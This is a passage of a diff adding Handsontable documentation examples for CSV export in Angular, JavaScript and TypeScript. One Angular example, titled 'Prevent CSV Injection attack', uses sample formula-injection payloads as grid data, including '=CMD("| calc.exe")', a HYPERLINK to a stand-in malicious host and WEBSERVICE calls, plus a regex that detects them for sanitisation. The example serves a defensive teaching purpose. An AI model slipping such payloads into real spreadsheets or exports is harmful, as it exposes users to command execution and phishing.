install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example3',\n template: `\n
    \n
    \n \n
    \n
    \n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n exportString() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n const exportedString = exportPlugin.exportAsString('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedString);\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-csv/angular/example3.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__angular__example4.ts.json new file mode 100644 index 00000000..fc7a785a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild, ViewEncapsulation } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example4',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n
    \n \n \n \n \n
    \n
    \n\n \n \n `,\n encapsulation: ViewEncapsulation.None\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['https://api.acme-inventory.com/live-stock', '=WEBSERVICE(\"https://api.acme-inventory.com/live-stock\")'],\n ['https://status.vertex-logistics.com/feed', '=WEBSERVICE(\"https://status.vertex-logistics.com/feed\")'],\n ['http://malicious.example/payload.exe', '=CMD(\"| calc.exe\")'],\n ['https://news.example.com/q2-briefing', '=HYPERLINK(\"http://malicious.example\",\"Open report\")'],\n ['https://cdn.example.com/daily.csv', '+SUM(1,1)'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n downloadCSVWithNoSanitization() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n });\n }\n\n downloadCSVWithRecommendedSanitization() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: true,\n });\n }\n\n downloadCSVWithRegexpSanitization() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: /WEBSERVICE|CMD|HYPERLINK|^\\+/,\n });\n }\n\n downloadCSVWithFunctionSanitization() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: (value: string) => {\n return /WEBSERVICE|CMD|HYPERLINK|^\\+/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;\n },\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: {\n license: NON_COMMERCIAL_LICENSE,\n } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-csv/angular/example4.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example1.js.json new file mode 100644 index 00000000..91491f0b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example1');\nconst hot = new Handsontable(container, {\n data: [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-file');\nbutton.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example1.js","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example1.ts.json new file mode 100644 index 00000000..28c6a868 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ExportFile } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin: ExportFile = hot.getPlugin('exportFile');\n\nconst button = document.querySelector('#export-file')!;\n\nbutton.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example1.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example2.js.json new file mode 100644 index 00000000..3c573223 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example2');\nconst hot = new Handsontable(container, {\n data: [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-blob');\nbutton.addEventListener('click', () => {\n const exportedBlob = exportPlugin.exportAsBlob('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n console.log(exportedBlob);\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example2.js","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example2.ts.json new file mode 100644 index 00000000..82a7a015 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ExportFile } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin: ExportFile = hot.getPlugin('exportFile');\n\nconst button = document.querySelector('#export-blob')!;\n\nbutton.addEventListener('click', () => {\n const exportedBlob = exportPlugin.exportAsBlob('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedBlob);\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example2.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example3.js.json new file mode 100644 index 00000000..c6417a67 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
